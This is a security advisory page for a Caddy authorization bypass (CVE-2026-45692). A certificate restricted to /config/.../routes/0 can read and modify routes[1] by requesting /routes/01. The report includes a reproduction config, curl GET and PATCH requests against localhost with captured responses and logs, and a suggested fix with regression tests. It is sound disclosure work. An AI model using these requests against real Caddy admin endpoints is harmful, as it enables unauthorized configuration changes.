Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

GHSA-x5w9-xh9r-mvfc — v2

MEDIUM

GHSA-x5w9-xh9r-mvfc is a medium-severity (CVSS 5.4) CWE-187 vulnerability in github.com/caddyserver/caddy/v2. A fix is available for github.com/caddyserver/caddy/v2 — see the affected versions and patch details below.

Caddy: Remote Admin Authorization Bypass in `/config` API via Array Index Normalization

Also known asCVE-2026-45692GO-2026-5743
Published
May 19, 2026
Updated
Jul 20, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-x5w9-xh9r-mvfc.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk+0.07%
Lower risk than most CVEs14th percentile — riskier than 14% of all scored CVEsHighest risk
0.00%0.25%0.49%0.74%0.1%0.2%0.2%Jul 26Sep 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-x5w9-xh9r-mvfc by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/caddyserver/caddy/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

This report is not about a normal textual prefix-expansion case.

The issue here is that the authorization layer and the /config traversal layer do not agree on what object the path refers to.

In this case, a path authorized for one config object is accepted, but then resolves to a different config object during traversal.

AI Disclosure

The reporter used an LLM to help review the code, reason about the behavior, and help draft this report. The reporter manually reproduced and validated the issue locally, confirmed the relevant source paths, and captured the requests and responses below.

Summary

A remote admin client certificate restricted to the following path:

/config/apps/http/servers/srv/routes/0

can still read and modify a different array element by requesting:

/config/apps/http/servers/srv/routes/01

This happens because:

  • the authorization layer uses string prefix matching
  • the /config traversal layer parses array indices numerically using strconv.Atoi()

So:

  • authorization sees /.../01 as matching /.../0
  • traversal resolves 01 to numeric index 1
  • the request therefore targets routes[1], not routes[0]

This is not just a prefix-match quirk. It is an authorization-to-object mismatch.

Why This Is In Scope

This is a security bug in Caddy's own code:

  • no browser behavior is involved
  • no dependency bug is involved
  • no external system compromise is involved
  • no third-party software compromise is required
  • no unsafe content hosting or file upload is required

This is also not just “an unsafe configuration”.

The configuration explicitly attempts to limit access to one specific path:

/config/apps/http/servers/srv/routes/0

But Caddy enforces a policy that ends up granting access to a different object (routes[1]) because of how traversal interprets the final path component.

In short:

  • configured authorization target: routes[0]
  • actual accessed object: routes[1]

That difference is caused by Caddy itself.

Relevant Source Code

Authorization path matching:

  • admin.go:719

Authorization config comment:

  • admin.go:213

Config traversal with numeric parsing:

  • admin.go:1201
  • admin.go:1310

Root Cause

Authorization layer

  for _, allowedPath := range accessPerm.Paths {
  	if strings.HasPrefix(r.URL.Path, allowedPath) {
  		pathFound = true
  		break
  	}
  }

Traversal layer

idx, err = strconv.Atoi(idxStr)

and later:

partInt, err := strconv.Atoi(part)

Because of that:

  • allowed path: /config/.../routes/0
  • requested path: /config/.../routes/01
  • authorization decision: allowed
  • actual object selected: routes[1]

Why This Is Not Just a “Prefix” Case

For a normal path hierarchy, a “subpath” means a child resource of the same authorized object.

For example:

  • /config/apps/http
  • /config/apps/http/servers
  • /config/apps/http/servers/srv/routes/0/handle

Those are genuine deeper descendants.

But this case is different.

Within the /config API, the final path component after /routes/ is not just a text fragment. It is a semantic selector for an array index.

So:

  • /routes/0 means routes[0]
  • /routes/01 means routes[1]
  • /routes/02 means routes[2]

That means /routes/01 is not a child of routes[0] in object semantics. It is a different array element entirely.

So even if prefix matching is documented, this case is different because:

  • authorization uses the textual form
  • traversal uses the numeric form
  • the two refer to different objects

This should be treated as an authorization bug rather than a documented prefix behavior.

Security Impact

A remote admin identity restricted to one /config array element can:

  • read a different array element
  • modify a different array element

This breaks least-privilege remote admin policies.

In practice, a delegated certificate that should only be able to inspect or edit one route can instead inspect or edit another route in the same array.

Affected Product

Tested on:

v2.11.2-3-gdf65455b

Affected area:

  • remote admin
  • admin.remote.access_control.permissions.paths
  • /config API paths containing numeric array indices

The reporter reproduced this on current HEAD.

Minimal Reproduction Configuration

  {
    "storage": {
      "module": "file_system",
      "root": "/tmp/caddy-config-index-storage"
    },
    "admin": {
      "listen": "127.0.0.1:2029",
      "identity": {
        "identifiers": ["localhost"],
        "issuers": [
          { "module": "internal" }
        ]
      },
      "remote": {
        "listen": "127.0.0.1:2031",
        "access_control": [
          {
            "public_keys": ["<CLIENT_CERT_BASE64_DER>"],
            "permissions": [
              {
                "methods": ["GET", "PATCH"],
                "paths": ["/config/apps/http/servers/srv/routes/0"]
              }
            ]
          }
        ]
      }
    },
    "apps": {
      "http": {
        "servers": {
          "srv": {
            "listen": [":9088"],
            "routes": [
              {
                "handle": [
                  {
                    "handler": "static_response",
                    "body": "route zero"
                  }
                ]
              },
              {
                "handle": [
                  {
                    "handler": "static_response",
                    "body": "route one"
                  }
                ]
              }
            ]
          }
        }
      }
    }
  }

Commands

1. Generate client certificate

  openssl req -x509 -newkey rsa:2048 -nodes -days 365 \
    -subj '/CN=remote-admin-client' \
    -keyout client.key \
    -out client.crt

2. Convert to base64 DER

  CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"

3. Start Caddy

  go run ./cmd/caddy run --config ./repro.json

Specific Minimal Reproduction Steps

Step 1: Read the explicitly authorized object

  curl -vk \
    --resolve localhost:2031:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2031/config/apps/http/servers/srv/routes/0

Observed result:

  < HTTP/1.1 200 OK
  {"handle":[{"body":"route zero","handler":"static_response"}]}

Step 2: Read a different object using a leading-zero index

  curl -vk \
    --resolve localhost:2031:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2031/config/apps/http/servers/srv/routes/01

Observed result:

  < HTTP/1.1 200 OK
  {"handle":[{"body":"route one","handler":"static_response"}]}

This shows that a client limited to routes/0 can read routes[1].

Step 3: Confirm that the traversal layer is interpreting the component numerically

  curl -vk \
    --resolve localhost:2031:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2031/config/apps/http/servers/srv/routes/02

Observed result:

  < HTTP/1.1 400 Bad Request
  {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}

This is important because it shows Caddy is not treating 01 and 02 as ordinary child paths under 0. It is treating them as numeric indices.

Step 4: Modify the unauthorized object

  curl -vk \
    -X PATCH \
    --resolve localhost:2031:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    -H 'Content-Type: application/json' \
    --data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \
    https://localhost:2031/config/apps/http/servers/srv/routes/01

Observed result:

  < HTTP/1.1 200 OK

Step 5: Confirm the unauthorized modification

  curl -vk \
    --resolve localhost:2031:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2031/config/apps/http/servers/srv/routes/01

Observed result:

  < HTTP/1.1 200 OK
  {"handle":[{"body":"patched route one","handler":"static_response"}]}

That confirms the client was able to modify routes[1], even though only /routes/0 was authorized.

Precise Requests and Captured Output

Authorized read

  > GET /config/apps/http/servers/srv/routes/0 HTTP/1.1
  > Host: localhost:2031
  > User-Agent: curl/8.5.0
  > Accept: */*
  <
  < HTTP/1.1 200 OK
  < Content-Type: application/json
  < Etag: "/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3"
  <
  {"handle":[{"body":"route zero","handler":"static_response"}]}

Unauthorized read

  > GET /config/apps/http/servers/srv/routes/01 HTTP/1.1
  > Host: localhost:2031
  > User-Agent: curl/8.5.0
  > Accept: */*
  <
  < HTTP/1.1 200 OK
  < Content-Type: application/json
  < Etag: "/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d"
  <
  {"handle":[{"body":"route one","handler":"static_response"}]}

Numeric index interpretation evidence

  > GET /config/apps/http/servers/srv/routes/02 HTTP/1.1
  > Host: localhost:2031
  > User-Agent: curl/8.5.0
  > Accept: */*
  <
  < HTTP/1.1 400 Bad Request
  <
  {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}

Unauthorized modification

  > PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1
  > Host: localhost:2031
  > User-Agent: curl/8.5.0
  > Accept: */*
  > Content-Type: application/json
  > Content-Length: 69
  <
  < HTTP/1.1 200 OK

Confirmation of unauthorized modification

  > GET /config/apps/http/servers/srv/routes/01 HTTP/1.1
  > Host: localhost:2031
  > User-Agent: curl/8.5.0
  > Accept: */*
  <
  < HTTP/1.1 200 OK
  < Content-Type: application/json
  < Etag: "/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0"
  <
  {"handle":[{"body":"patched route one","handler":"static_response"}]}

Full Log Output

Relevant startup logs from the reproduction run:

root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json
2026/03/20 02:10:51.148	INFO	maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined
2026/03/20 02:10:51.148	INFO	GOMEMLIMIT is updated	{"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807}
2026/03/20 02:10:51.148	INFO	using config from file	{"file": "/tmp/caddy-config-index-repro.json"}
2026/03/20 02:10:51.149	INFO	admin	admin endpoint started	{"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]}
2026/03/20 02:10:51.149	WARN	http	HTTP/2 skipped because it requires TLS	{"network": "tcp", "addr": ":9088"}
2026/03/20 02:10:51.149	WARN	http	HTTP/3 skipped because it requires TLS	{"network": "tcp", "addr": ":9088"}
2026/03/20 02:10:51.149	INFO	http.log	server running	{"name": "srv", "protocols": ["h1", "h2", "h3"]}
2026/03/20 02:10:51.149	INFO	tls.cache.maintenance	started background certificate maintenance	{"cache": "0xc0003d7580"}
2026/03/20 02:10:51.149	INFO	admin.identity.cache.maintenance	started background certificate maintenance	{"cache": "0xc00026fd00"}
2026/03/20 02:10:51.149	WARN	admin.identity	stapling OCSP	{"identifiers": ["localhost"]}
2026/03/20 02:10:51.149	INFO	admin.remote	secure admin remote control endpoint started	{"address": "127.0.0.1:2031"}
2026/03/20 02:10:51.149	INFO	autosaved config (load with --resume flag)	{"file": "/root/.config/caddy/autosave.json"}
2026/03/20 02:10:51.149	INFO	serving initial configuration
2026/03/20 02:10:51.156	INFO	tls	storage cleaning happened too recently; skipping for now	{"storage": "FileStorage:/tmp/caddy-config-index-storage", "instance": "55d383b9-7ae1-4713-89a2-b4106612cdcf", "try_again": "2026/03/21 02:10:51.156", "try_again_in": 86399.999999609}
2026/03/20 02:10:51.156	INFO	tls	finished cleaning storage units
2026/03/20 02:11:14.787	INFO	admin.api	received request	{"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/0", "remote_ip": "127.0.0.1", "remote_port": "59932", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/20 02:11:22.116	INFO	admin.api	received request	{"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "40070", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
pkill -f '/tmp/caddy-config-index-repro.json'
^C2026/03/20 02:13:47.114	INFO	shutting down	{"signal": "SIGINT"}
2026/03/20 02:13:47.114	WARN	exiting; byeee!! 👋	{"signal": "SIGINT"}
2026/03/20 02:13:47.114	INFO	http	servers shutting down with eternal grace period
2026/03/20 02:13:47.114	INFO	admin	stopped previous server	{"address": "127.0.0.1:2031"}
2026/03/20 02:13:47.114	INFO	admin	stopped previous server	{"address": "127.0.0.1:2029"}
2026/03/20 02:13:47.114	INFO	shutdown complete	{"signal": "SIGINT", "exit_code": 0}
root@dbdd95a60758:/caddy# pkill -f '/tmp/caddy-config-index-repro.json'
root@dbdd95a60758:/caddy# pkill -f '/tmp/caddy-config-index-repro.json'
root@dbdd95a60758:/caddy# ps -ef | rg 'caddy-config-index-repro|cmd/caddy run --config /tmp/caddy-config-index-repro.json'
bash: rg: command not found
root@dbdd95a60758:/caddy# ss -ltnp | rg ':2029|:2031|:9088'
bash: rg: command not found
root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json
2026/03/20 02:14:52.698	INFO	maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined
2026/03/20 02:14:52.698	INFO	GOMEMLIMIT is updated	{"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807}
2026/03/20 02:14:52.698	INFO	using config from file	{"file": "/tmp/caddy-config-index-repro.json"}
2026/03/20 02:14:52.698	INFO	admin	admin endpoint started	{"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]}
2026/03/20 02:14:52.699	WARN	http	HTTP/2 skipped because it requires TLS	{"network": "tcp", "addr": ":9088"}
2026/03/20 02:14:52.699	WARN	http	HTTP/3 skipped because it requires TLS	{"network": "tcp", "addr": ":9088"}
2026/03/20 02:14:52.699	INFO	http.log	server running	{"name": "srv", "protocols": ["h1", "h2", "h3"]}
2026/03/20 02:14:52.699	INFO	tls.cache.maintenance	started background certificate maintenance	{"cache": "0xc00011d900"}
2026/03/20 02:14:52.699	INFO	admin.identity.cache.maintenance	started background certificate maintenance	{"cache": "0xc000276800"}
2026/03/20 02:14:52.699	WARN	admin.identity	stapling OCSP	{"identifiers": ["localhost"]}
2026/03/20 02:14:52.699	INFO	admin.remote	secure admin remote control endpoint started	{"address": "127.0.0.1:2031"}
2026/03/20 02:14:52.699	INFO	autosaved config (load with --resume flag)	{"file": "/root/.config/caddy/autosave.json"}
2026/03/20 02:14:52.699	INFO	serving initial configuration
2026/03/20 02:14:52.706	INFO	tls	storage cleaning happened too recently; skipping for now	{"storage": "FileStorage:/tmp/caddy-config-index-storage", "instance": "55d383b9-7ae1-4713-89a2-b4106612cdcf", "try_again": "2026/03/21 02:14:52.706", "try_again_in": 86399.999999659}
2026/03/20 02:14:52.706	INFO	tls	finished cleaning storage units
2026/03/20 02:15:17.145	INFO	admin.api	received request	{"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/0", "remote_ip": "127.0.0.1", "remote_port": "35382", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/20 02:15:28.746	INFO	admin.api	received request	{"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "38998", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/20 02:15:33.180	INFO	admin.api	received request	{"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/02", "remote_ip": "127.0.0.1", "remote_port": "46698", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/20 02:15:33.180	ERROR	admin.api	request error	{"error": "[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02", "status_code": 400}
2026/03/20 02:15:39.610	INFO	admin.api	received request	{"method": "PATCH", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "46712", "headers": {"Accept":["*/*"],"Content-Length":["69"],"Content-Type":["application/json"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/20 02:15:39.610	INFO	admin	admin endpoint started	{"address": "127.0.0.1:2029", "enforce_origin": false, "origins": ["//localhost:2029", "//[::1]:2029", "//127.0.0.1:2029"]}
2026/03/20 02:15:39.610	WARN	http	HTTP/2 skipped because it requires TLS	{"network": "tcp", "addr": ":9088"}
2026/03/20 02:15:39.610	WARN	http	HTTP/3 skipped because it requires TLS	{"network": "tcp", "addr": ":9088"}
2026/03/20 02:15:39.610	INFO	http.log	server running	{"name": "srv", "protocols": ["h1", "h2", "h3"]}
2026/03/20 02:15:39.610	INFO	admin	stopped previous server	{"address": "127.0.0.1:2029"}
2026/03/20 02:15:39.610	INFO	admin.identity.cache.maintenance	stopped background certificate maintenance	{"cache": "0xc000276800"}
2026/03/20 02:15:39.610	INFO	admin.identity.cache.maintenance	started background certificate maintenance	{"cache": "0xc0005b6a00"}
2026/03/20 02:15:39.611	WARN	admin.identity	stapling OCSP	{"identifiers": ["localhost"]}
2026/03/20 02:15:39.611	INFO	admin.remote	secure admin remote control endpoint started	{"address": "127.0.0.1:2031"}
2026/03/20 02:15:39.611	INFO	http	servers shutting down with eternal grace period
2026/03/20 02:15:39.611	INFO	autosaved config (load with --resume flag)	{"file": "/root/.config/caddy/autosave.json"}
2026/03/20 02:15:39.612	INFO	admin	stopped previous server	{"address": "127.0.0.1:2031"}
2026/03/20 02:15:49.018	INFO	admin.api	received request	{"method": "GET", "host": "localhost:2031", "uri": "/config/apps/http/servers/srv/routes/01", "remote_ip": "127.0.0.1", "remote_port": "53712", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
root@dbdd95a60758:/caddy# curl -vk \
    --resolve localhost:2031:127.0.0.1 \
    --cert /caddy/client.crt \
    --key /caddy/client.key \
    https://localhost:2031/config/apps/http/servers/srv/routes/0
* Added localhost:2031:127.0.0.1 to DNS cache
* Hostname localhost was found in DNS cache
*   Trying 127.0.0.1:2031...
* Connected to localhost (127.0.0.1) port 2031
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: [NONE]
*  start date: Mar 19 21:59:41 2026 GMT
*  expire date: Mar 20 09:59:41 2026 GMT
*  issuer: CN=Caddy Local Authority - ECC Intermediate
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* using HTTP/1.x
> GET /config/apps/http/servers/srv/routes/0 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Type: application/json
< Etag: "/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3"
< Date: Fri, 20 Mar 2026 02:15:17 GMT
< Content-Length: 63
< 
{"handle":[{"body":"route zero","handler":"static_response"}]}
* Connection #0 to host localhost left intact
root@dbdd95a60758:/caddy# curl -vk \
    --resolve localhost:2031:127.0.0.1 \
    --cert /caddy/client.crt \
    --key /caddy/client.key \
    https://localhost:2031/config/apps/http/servers/srv/routes/01
* Added localhost:2031:127.0.0.1 to DNS cache
* Hostname localhost was found in DNS cache
*   Trying 127.0.0.1:2031...
* Connected to localhost (127.0.0.1) port 2031
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: [NONE]
*  start date: Mar 19 21:59:41 2026 GMT
*  expire date: Mar 20 09:59:41 2026 GMT
*  issuer: CN=Caddy Local Authority - ECC Intermediate
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* using HTTP/1.x
> GET /config/apps/http/servers/srv/routes/01 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Type: application/json
< Etag: "/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d"
< Date: Fri, 20 Mar 2026 02:15:28 GMT
< Content-Length: 62
< 
{"handle":[{"body":"route one","handler":"static_response"}]}
* Connection #0 to host localhost left intact
root@dbdd95a60758:/caddy# curl -vk \
    --resolve localhost:2031:127.0.0.1 \
    --cert /caddy/client.crt \
    --key /caddy/client.key \
    https://localhost:2031/config/apps/http/servers/srv/routes/02
* Added localhost:2031:127.0.0.1 to DNS cache
* Hostname localhost was found in DNS cache
*   Trying 127.0.0.1:2031...
* Connected to localhost (127.0.0.1) port 2031
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: [NONE]
*  start date: Mar 19 21:59:41 2026 GMT
*  expire date: Mar 20 09:59:41 2026 GMT
*  issuer: CN=Caddy Local Authority - ECC Intermediate
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* using HTTP/1.x
> GET /config/apps/http/servers/srv/routes/02 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 400 Bad Request
< Content-Type: application/json
< Date: Fri, 20 Mar 2026 02:15:33 GMT
< Content-Length: 84
< 
{"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}
* Connection #0 to host localhost left intact
root@dbdd95a60758:/caddy# curl -vk \
    -X PATCH \
    --resolve localhost:2031:127.0.0.1 \
    --cert /caddy/client.crt \
    --key /caddy/client.key \
    -H 'Content-Type: application/json' \
    --data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \
    https://localhost:2031/config/apps/http/servers/srv/routes/01
* Added localhost:2031:127.0.0.1 to DNS cache
* Hostname localhost was found in DNS cache
*   Trying 127.0.0.1:2031...
* Connected to localhost (127.0.0.1) port 2031
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: [NONE]
*  start date: Mar 19 21:59:41 2026 GMT
*  expire date: Mar 20 09:59:41 2026 GMT
*  issuer: CN=Caddy Local Authority - ECC Intermediate
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* using HTTP/1.x
> PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 69
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Date: Fri, 20 Mar 2026 02:15:39 GMT
< Content-Length: 0
< Connection: close
< 
* Closing connection
* TLSv1.3 (IN), TLS alert, close notify (256):
* TLSv1.3 (OUT), TLS alert, close notify (256):
root@dbdd95a60758:/caddy# curl -vk \
    --resolve localhost:2031:127.0.0.1 \
    --cert /caddy/client.crt \
    --key /caddy/client.key \
    https://localhost:2031/config/apps/http/servers/srv/routes/01
* Added localhost:2031:127.0.0.1 to DNS cache
* Hostname localhost was found in DNS cache
*   Trying 127.0.0.1:2031...
* Connected to localhost (127.0.0.1) port 2031
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: [NONE]
*  start date: Mar 19 21:59:41 2026 GMT
*  expire date: Mar 20 09:59:41 2026 GMT
*  issuer: CN=Caddy Local Authority - ECC Intermediate
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* using HTTP/1.x
> GET /config/apps/http/servers/srv/routes/01 HTTP/1.1
> Host: localhost:2031
> User-Agent: curl/8.5.0
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Type: application/json
< Etag: "/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0"
< Date: Fri, 20 Mar 2026 02:15:49 GMT
< Content-Length: 70
< 
{"handle":[{"body":"patched route one","handler":"static_response"}]}
* Connection #0 to host localhost left intact
root@dbdd95a60758:/caddy# 

Suggested Fix

The authorization layer should not allow a path that resolves to a different config object than the one represented by the authorized path.

A practical fix would be to reject non-canonical numeric array components in /config traversal and/or authorization.

For example:

  • allow 0
  • allow 1
  • reject 01
  • reject 002

One possible helper:

  func parseCanonicalIndex(s string) (int, error) {
  	if s == "" {
  		return 0, fmt.Errorf("empty index")
  	}
  	if s != "0" && strings.HasPrefix(s, "0") {
  		return 0, fmt.Errorf("non-canonical array index")
  	}
  	return strconv.Atoi(s)
  }

Then use that helper anywhere /config array indices are parsed.

Why This Fix Makes Sense

This preserves intended config addressing while preventing ambiguous selectors from referring to different objects than the authorization layer appears to permit.

It would still allow:

  • /routes/0
  • /routes/1

but reject:

  • /routes/01
  • /routes/002

That removes the authorization/resource mismatch.

Suggested Regression Tests

  1. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/0, expect allowed.
  2. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/01, expect denied or invalid.
  3. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/02, expect denied or invalid.
  4. With PATCH allowed on /.../routes/0, verify that /.../routes/01 cannot modify routes[1].

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
